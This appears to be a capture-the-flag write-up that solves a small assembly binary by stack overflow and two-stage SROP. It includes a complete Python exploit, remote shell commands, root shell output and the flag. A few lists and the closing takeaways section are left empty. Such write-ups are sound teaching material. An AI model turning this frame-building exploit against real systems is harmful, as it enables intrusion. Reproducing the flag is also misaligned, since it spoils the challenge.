← All writeups

Binary exploitation

1778608923_chall (pwn / SROP)

Flag: P2P{Cm0n_Dud3_1_Th0uGHt_1_d1D_4_g0oD_J0b}

Category: Binary exploitation (pwn) Target: 34.63.108.139:4852 Binary: 1778608923_chall Solved: 2026-05-30

Challenge description:

I decided to teach myself how to write Assembly, I made my first ever binary and it actually works!!!


1. Recon

$ file 1778608923_chall
ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
$ wc -c 1778608923_chall
4424

A tiny, hand-written, statically-linked, stripped executable — exactly matching the "first ever binary in Assembly" hint.

Program headers reveal a minimal layout (no PIE — fixed load addresses):

Segment VAddr Size Perms
.text 0x401000 0x31 R-X
.bss (page) 0x402000 0x1f8 (segment memsz 0x1000) RW
GNU_STACK RW (NX stack)

So we have: no PIE, a non-executable stack, no libc, and only 49 bytes of code.


2. Disassembly

0000000000401000 <_setup>:        ; sets up read() syscall args, returns rax=0
  401000:  bf 00 00 00 00     mov  edi, 0x0        ; fd = 0 (stdin)
  401005:  ba e8 03 00 00     mov  edx, 0x3e8      ; count = 1000
  40100a:  6a 00              push 0x0
  40100c:  58                 pop  rax             ; rax = 0 (SYS_read)   <-- "pop rax ; ret" gadget
  40100d:  c3                 ret

0000000000401013 <_read>:
  40100e:  e8 ed ff ff ff     call 0x401000        ; set up read args
  401013:  48 89 e6           mov  rsi, rsp        ; rsi = rsp
  401016:  48 81 ee c8 00..   sub  rsi, 0xc8       ; rsi = rsp - 0xc8  (buffer)
  40101d:  0f 05              syscall              ; read(0, rsp-0xc8, 1000)  <-- "syscall ; ret" gadget
  40101f:  c3                 ret

0000000000401020 <_start>:        ; ENTRY POINT
  401020:  e8 e9 ff ff ff     call 0x40100e        ; do the read
  401025:  b8 3c 00 00 00     mov  eax, 0x3c       ; SYS_exit
  40102a:  bf 00 00 00 00     mov  edi, 0x0
  40102f:  0f 05              syscall              ; exit(0)

The program simply does read(0, rsp-0xC8, 1000) then exit(0).


3. The vulnerability — stack buffer overflow

Trace the stack pointer (R = rsp at entry):

Step Action rsp
entry R
call 0x40100e push ret 0x401025 R-8
call 0x401000 push ret 0x401013 R-16
push 0; pop rax; ret balanced, returns R-8
mov rsi,rsp; sub rsi,0xC8 buffer = R-0xD0 R-8
syscall read(0, R-0xD0, 1000) R-8
ret (0x40101f) pops [R-8] into RIP R

The buffer starts at R-0xD0. The return address consumed by the ret at 0x40101F lives at R-8, i.e. offset 0xD0 - 8 = 0xC8 = 200 into the buffer. The read accepts 1000 bytes → we fully control RIP and everything after it.

Confirmed empirically:

$ printf 'AAAAAAAA' | ./1778608923_chall ; echo $?        # 8 bytes  -> clean exit 0
$ python3 -c "print('A'*250)" | ./1778608923_chall ; echo $?   # 250 bytes -> 139 (SIGSEGV)

4. Exploitation strategy — two-stage SROP

Constraints kill the usual approaches:

But the binary gives us exactly the two primitives needed for Sigreturn-Oriented Programming (SROP):

With RAX control + a syscall, we can invoke rt_sigreturn (rax=15), which restores every register (RIP, RSP, RDI, RSI, RDX, RAX, …) from a fake signal frame we place on the stack. That gives full register control with no register-specific gadgets.

We still need the string "/bin/sh" at a known address. The stack address is unknown (ASLR), but .bss is at the fixed address 0x402000 (no PIE) and is a full RW page (0x4020000x403000). So:

Stage 1 — SROP → read into .bss + stack pivot

Overflow drives a sigreturn that sets up: read(0, 0x402000, 0x400), RIP = syscall;ret, and RSP = 0x402000. After the read, the trailing ret pops its next "return address" from .bss — which we just filled — pivoting the ROP chain into .bss.

Stage 2 — SROP → execve("/bin/sh", argv, NULL)

The data read into .bss lays out a second SROP chain: pop rax(=15) ; syscall → sigreturn → execve with RDI = &"/bin/sh", RSI = &argv, RDX = 0, RIP = syscall;ret.

Both "/bin/sh" and the argv = ["/bin/sh", NULL] array are placed at fixed .bss offsets (0x402200, 0x402300).

Control-flow chain

read#1 overflow ─▶ ret ─▶ pop rax(=15) ─▶ syscall(sigreturn)
   └▶ [frame1] read(0, .bss, 0x400); RSP=.bss; RIP=syscall;ret
        └▶ (read#2 fills .bss) ─▶ ret ─▶ pop rax(=15) ─▶ syscall(sigreturn)
             └▶ [frame2] execve("/bin/sh", argv, 0) ─▶ root shell

Reliability note

read#1's count is 1000, so payload1 is padded to exactly 1000 bytes. This guarantees the first read consumes precisely payload1 and cannot bleed into the second read, regardless of TCP/pipe buffering — making the two-stage delivery deterministic.


5. Exploit

Pure-stdlib version (no pwntools needed; hand-built amd64 rt_sigreturn frame):

#!/usr/bin/env python3
import sys, socket, struct, subprocess, time, select

POP_RAX     = 0x40100c   # pop rax ; ret
SYSCALL_RET = 0x40101d   # syscall ; ret
BSS         = 0x402000
SYS_READ, SYS_EXECVE, SYS_RT_SIGRETURN = 0, 59, 15
binsh_addr, argv_addr = BSS + 0x200, BSS + 0x300

def p64(x): return struct.pack('<Q', x & (2**64-1))

def sigframe(rax=0, rdi=0, rsi=0, rdx=0, rip=0, rsp=0, rbp=0):
    fr = bytearray(0xf8)
    def setq(off, val): fr[off:off+8] = p64(val)
    # sigcontext starts at frame+0x28
    setq(0x28+0x40, rdi); setq(0x28+0x48, rsi); setq(0x28+0x50, rbp)
    setq(0x28+0x60, rdx); setq(0x28+0x68, rax); setq(0x28+0x78, rsp)
    setq(0x28+0x80, rip); setq(0x28+0x88, 0x202)        # eflags
    setq(0x28+0x90, 0x33 | (0x2b << 48))                # cs=0x33, ss=0x2b
    return bytes(fr)

f1 = sigframe(rax=SYS_READ, rdi=0, rsi=BSS, rdx=0x400, rip=SYSCALL_RET, rsp=BSS)
p1 = (b'A'*200 + p64(POP_RAX) + p64(SYS_RT_SIGRETURN) + p64(SYSCALL_RET) + f1).ljust(1000, b'\x00')

f2 = sigframe(rax=SYS_EXECVE, rdi=binsh_addr, rsi=argv_addr, rdx=0, rip=SYSCALL_RET)
p2 = (p64(POP_RAX) + p64(SYS_RT_SIGRETURN) + p64(SYSCALL_RET) + f2).ljust(0x200, b'\x00')
p2 = (p2 + b'/bin/sh\x00').ljust(0x300, b'\x00') + p64(binsh_addr) + p64(0)

CMD = b'echo PWNED_$(id); echo ===FLAG===; cat flag* /flag* 2>/dev/null; ls -la\n'

s = socket.create_connection(('34.63.108.139', 4852), timeout=10)
s.sendall(p1); time.sleep(0.4)
s.sendall(p2); time.sleep(0.4)
s.sendall(CMD); time.sleep(1.0)
# ... then read/interact with the socket

(Full local+remote runner saved as ~/Downloads/exploit_raw.py; a pwntools SigreturnFrame equivalent is ~/Downloads/exploit.py.)

amd64 rt_sigreturn frame layout (offsets from where RSP points at the sigreturn syscall)

+0x00  uc_flags
+0x08  uc_link
+0x10  uc_stack (ss_sp, ss_flags, ss_size)
+0x28  sigcontext begins:
       +0x28 r8   +0x30 r9   +0x38 r10  +0x40 r11  +0x48 r12  +0x50 r13
       +0x58 r14  +0x60 r15  +0x68 rdi  +0x70 rsi  +0x78 rbp  +0x80 rbx
       +0x88 rdx  +0x90 rax  +0x98 rcx  +0xa0 rsp  +0xa8 rip  +0xb0 eflags
       +0xb8 cs|gs<<16|fs<<32|ss<<48   (cs=0x33, ss=0x2b)
       +0xe0 &fpstate (0 = skip FP restore)

6. Result

$ python3 exploit_raw.py remote
PWNED_uid=0(root) gid=0(root) groups=0(root)
===FLAG===
P2P{Cm0n_Dud3_1_Th0uGHt_1_d1D_4_g0oD_J0b}
total 76
-rwxr-xr-x 1 root root  4424 chall
-rw-r--r-- 1 root root   344 chall.asm
-rwxr-xr-x 1 root root   133 compile.sh
-rw-r--r-- 1 root root    42 flag.txt
-rwxr-xr-x 1 root root 18744 ynetd        # service wrapper

Shell as root; flag.txt

P2P{Cm0n_Dud3_1_Th0uGHt_1_d1D_4_g0oD_J0b}

The directory confirmed the source was a hand-written chall.asm built by compile.sh and exposed over the network via ynetd — and the flag itself ("C'mon Dude, I thought I did a good job") is a wink at the author's buggy first binary.


7. Takeaways